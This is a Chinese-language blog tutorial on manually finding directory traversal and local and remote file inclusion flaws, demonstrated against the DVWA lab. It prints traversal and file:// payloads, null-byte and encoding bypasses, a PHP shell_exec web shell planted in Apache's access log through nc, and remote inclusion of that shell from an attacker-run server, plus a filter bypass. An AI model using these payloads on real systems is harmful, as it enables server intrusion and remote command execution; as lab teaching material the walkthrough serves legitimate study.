二十一、手动漏洞挖掘(4)目录遍历/文件包含

1、区别

  • 目录遍历:Directory traversal
    • 目录遍历:指除浏览web本目录外,能够浏览web目录外的文件;
  • 文件包含:File include
    • 文件包含:指系统执行访问请求时,调用web本身目录外的文件,作为访问结果。其中又分为LFI(本地文件包含)和RFI(远程文件包含),RFI可以放一个远程木马文件,访问中RFI包含远程木马文件,此时访问能被直接执行,拿到shell。

2、实例

/usr/share/wfuzz/wordlist/vulns/下有相应的用于黑盒测试表,可用于burpsuite的intruder进行测试。

默认只有本地文件包含,要想使用远程文件包含,需要修改配置文件:

# vi/etc/php5/cgi/php.ini   //编辑配置文件
allow_url_include=on  //修改参数为on
#sudo /etc/init.d/apache2 restart

2.1 典型特征

看到变量的值为一个页面,如
?page=a.php
?home=b.html
?file=content
需要着重关注,有可能存在文件包含漏洞。

访问file inclusion

2.2 经典测试方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php     //远程文件包含
 http://1.1.1.1/../../../dir/file.txt
通过../查看/etc/passwd
通过file://查看
远程文件包含进来

上述163网站有过滤,查看其它的网站(如新浪)或者木马

Paste_Image.png

2.3 编码绕过

一般来说,服务器对 ascii的前128个字符不会过滤,比如a,b,c等字符,但是对于一些/、.等字符会过滤。对于php5版本,当看到文件后缀为特定字符时,默认会忽略后面的内容,如“.”,“%00”(空字符的URL编码)可以绕过文件扩展名过滤。
举例:?file=a.doc%00.php //默认应用程序后补齐a.doc.php,并且认为不是php程序而执行报错,当加上%00,后面的内容php会忽略。
其中,编码包括url编码、双层url编码,unicode/UTF-8编码,但是前提是服务器端能够识别此编码并解析

编码绕过

2.3 不同操作系统的路径特征字符

  • 类UNIX系统:
    • 根目录:/
    • 目录层级分隔符:/
  • Windows系统
    • C:\
    • \或/
      其它系统路径可能使用到的字符:
file.txt...
file.txt<spaces>  //多个空格
file.txt """"
file.txt<<<>>><
./././file.txt
noneexistant/../file.txt  //如cd a/../b.txt(其中a目录不存在)
UNC路径:用于文件共享目录
\\1.1.1.1\path\to\file.txt

2.4本地文件包含lfi

实例:通过php服务器的日志进行文件包含代码的注入
原因:由于权限设置的不合理,导致在先插入一条错误的指令(php代码)到access.log后,能够被文件包含利用后执行

#/var/log/apache2/access.log日志信息可看到URL中包含的信息
然后在kali开启nc连接访问:

#nc 192.168.1.101 80   //连接靶机的80端口
输入
<?php echo shell_exec($_GET['cmd']);?>  //提示访问不成功,不是正常访问请求
php代码访问

但此时,通过查看日志信息,发现有一条日志记录


日志访问信息

由于用户www-data对access.log没有读取权限,如果设置有读取权限的话,即可利用漏洞。因此先修改access.log的访问权限,让www-data也能够读取访问:

#chmod a+rx /var/log/apache2
#chmod a+rx /var/log/appache2/access.log

访问权限执行设置完成后,下面开始通过文件包含将access.log包含进来,并让其执行php的代码。

访问文件并执行代码

查看结果,可以看到执行'id'命令时,系统执行了此命令并返回


执行结果

2.5远程文件包含rfi

2.5.1判断

在kali上执行nc监听80端口,然后在通过ip访问靶机地址,然后通过远程文件包含一个文件(随意命名,只是测试),看靶机是否能将请求发送到kali上:

kali本机监听80端口

访问靶机时,将远程50.115上的a.php文件包含进来

访问靶机并远程包含kali文件

查看kali上监听的结果,发现远程包含可以被执行,在访问时要来kali上取a.php文件:

监听结果

上面的使用是secure=low,低安全级别的,如果升级为“中”安全级别,可以看下源码:

medium级别源码

中安全级别对上面输入的http及https进行了过滤,因此如果再像上面那样输入的话会报错,如何才能屏蔽此过滤限制呢?
源码中对http://和https://进行了限制,但是如果在访问中输入:192.168.50.183/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.50.115/a.php,由于中间的http://被转换为空,因此又成为了http://的访问

绕过中级别过滤限制
2.5.2 RFI实际测试

在kali上的/var/www/html/下建立1.txt,并将<?php echo shell_exec($_GET['cmd']);?>写入到1.txt中

1.txt

启动kali上的apache,service apache2 start

访问RFI文件
监听结果

通过上面两个图,可以看到能够访问到RFI文件,下面尝试能否执行此RFI文件执行命令:


RFI远程文件代码执行
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,185评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,445评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,684评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,564评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,681评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,874评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,025评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,761评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,217评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,545评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,694评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,351评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,988评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,778评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,007评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,427评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,580评论 2 349

推荐阅读更多精彩内容